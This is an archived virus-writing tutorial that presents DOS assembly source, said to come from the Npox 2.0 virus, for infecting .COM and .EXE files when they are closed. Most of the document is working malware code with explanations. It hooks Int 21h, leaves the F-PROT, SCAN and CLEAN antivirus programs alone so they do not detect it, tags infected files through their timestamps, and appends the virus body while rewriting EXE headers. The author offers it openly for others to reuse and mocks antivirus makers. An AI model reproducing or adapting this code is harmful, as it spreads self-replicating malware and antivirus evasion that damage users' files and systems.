textfiles/virus/rstut004.txt

256 lines
20 KiB
Plaintext

****************************
** Infection on Closing **
** **
** By Rock Steady/NuKE **
****************************
This routine goes out for a few people that had trouble hacking this
routine themselves... I kinda like it, its my very OWN, no Dark Avenger
hack, it is VERY straight forward, and kinda simple...I was not going
to put this here, but since I `Promised' people and left them hanging
with `Wait for IJ#5, I guess I owed you it... huh?'
Again this code comes right out of Npox 2.0, its need, simple fast,
cool, and it works, Npox is your example, I heard MANY MANY complaints
with other `Virus writing guides' Meaning they explained the code but
sometimes the arthur himself never check if the code was good, as he
may have modified it, and not test it... or whatever reason... Anyhow
------------------
Okay once you intercepted the Int21h/ah=3Dh function you make it jump
here...
closing_file: cmp bx,0h ;Handle=0?
je closing_bye ;if equal leave
cmp bx,4h ;Handle > 4
ja close_cont ;if YES ,then JUMP!
closing_bye: jmp dword ptr cs:[int21] ;Leave, no interest to us
The whole point of the above code is that DOS contains 5 predefined
Handlers, 0 -> 4, Basically, those handles are the NULL, CON, AUX
COMx, LPTx handles... So we surely do not need to continue once we
encounter that...
close_cont: push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
Our biggest problem is how do we know if this file is a .COM or .EXE or
simply just another dumb data file? We need this info before we can
try to infect it... We do this by getting DOS's "Lists of List" this
will give us all INFO need on the File Handle Number we have in BX!
and we do that like so...
push bx ;Save File Handle
mov ax,1220h ;Get the Job File Table
int 2fh ;(JFT)
This will give us the JFT for the CURRENT File handle in BX, which
is given thru ES:DI Then we use this information to get the Address of
the System File Table!
mov ax,1216h ;Get System File Table (List)
mov bl,es:[di] ;system file table entry number
int 2fh
pop bx ;restore the Handle
add di,0011h
mov byte ptr es:[di-0fh],02h
add di,0017h ;Jump to the ASCIIZ string
cmp word ptr es:[di],'OC' ;Is it a .COM file?
jne closing_next_try ;Next cmp...
cmp byte ptr es:[di+2h],'M'
jne pre_exit ;Nope exit
jmp closing_cunt3 ;.COM file continue
closing_next_try:
cmp word ptr es:[di],'XE' ;Is it a .EXE file?
jne pre_exit ;No, exit
cmp byte ptr es:[di+2h],'E'
jne pre_exit ;No, exit
If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when
started up, Opens itself, closes itself, etc... So that a dumb
virus will infect it, and then the CRC value changes and F-PROT
screams... haha... Fuck-Prot! is the name...
closing_cunt: cmp word ptr es:[di-8],'CS'
jnz closing_cunt1 ;SCAN
cmp word ptr es:[di-6],'NA'
jz pre_exit
closing_cunt1: cmp word ptr es:[di-8],'-F'
jnz closing_cunt2 ;F-PROT
cmp word ptr es:[di-6],'RP'
jz pre_exit
closing_cunt2: cmp word ptr es:[di-8],'LC'
jnz closing_cunt3
cmp word ptr es:[di-6],'AE' ;CLEAN
jnz closing_cunt3
pre_exit: jmp closing_nogood
The REST is pretty much the EXACT same on `how' you'd infect a normal
file, I'll leave it for you to go thru it... The hardest part is
OVER! Only trick part is, the ending... Remember to Close the file
and then do an IRET, you don't leave control to dos, as you only needed
to close it, so do it... OR DON'T close it and return to DOS, as dos
will close it, just DON'T CLOSE IT TWICE!!!!
closing_cunt3: mov ax,5700h ;Get file Time
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jz closing_nogood ;Already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save time
mov word ptr ds:[old_date],dx
mov ax,4200h ;jmp beginning of
xor cx,cx ;file...
xor dx,dx
call calldos21
mov ah,3fh ;Get first 1b byte
mov cx,1Bh
mov dx,offset buffer
call calldos21
jc closing_no_good ;error?
mov ax,4202h ;Jmp to the EOF
xor cx,cx
xor dx,dx
call calldos21
jc closing_no_good
cmp word ptr ds:[buffer],5A4Dh ;.EXE file?
je closing_exe ;Yupe then jmp
mov cx,ax
sub cx,3h
mov word ptr ds:[jump_address+1],cx ;Figure out the
call infect_me ;jmp for .com
jc closing_no_good
mov ah,40h ;Write it to file
mov dx,offset jump_address
mov cx,3h
call calldos21
closing_no_good:
mov cx,word ptr ds:[old_time] ;Save file time
mov dx,word ptr ds:[old_date] ;& date
mov ax,5701h
call calldos21
closing_nogood: pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
AS you see the above, we DIDN'T close the file, so we leave dos to do it.
The bottom is for infecting .exes...
closing_exe: mov cx,word ptr cs:[buffer+20] ;Save the original
mov word ptr cs:[exe_ip],cx ;CS:IP & SS:SP
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc closing_no_good
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz close_split
inc dx
close_split: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
closing_over: jmp closing_no_good
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc
mov ah,40h
mov dx,offset init_virus
mov cx,virus_size
call calldos21
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to
xor dx,dx ;Top of file!
call calldos21
jc exit_error ;Split Dude...
clc ;Clear carry flag
ret
exit_error:
stc ;Set carry flag
ret
infect_me endp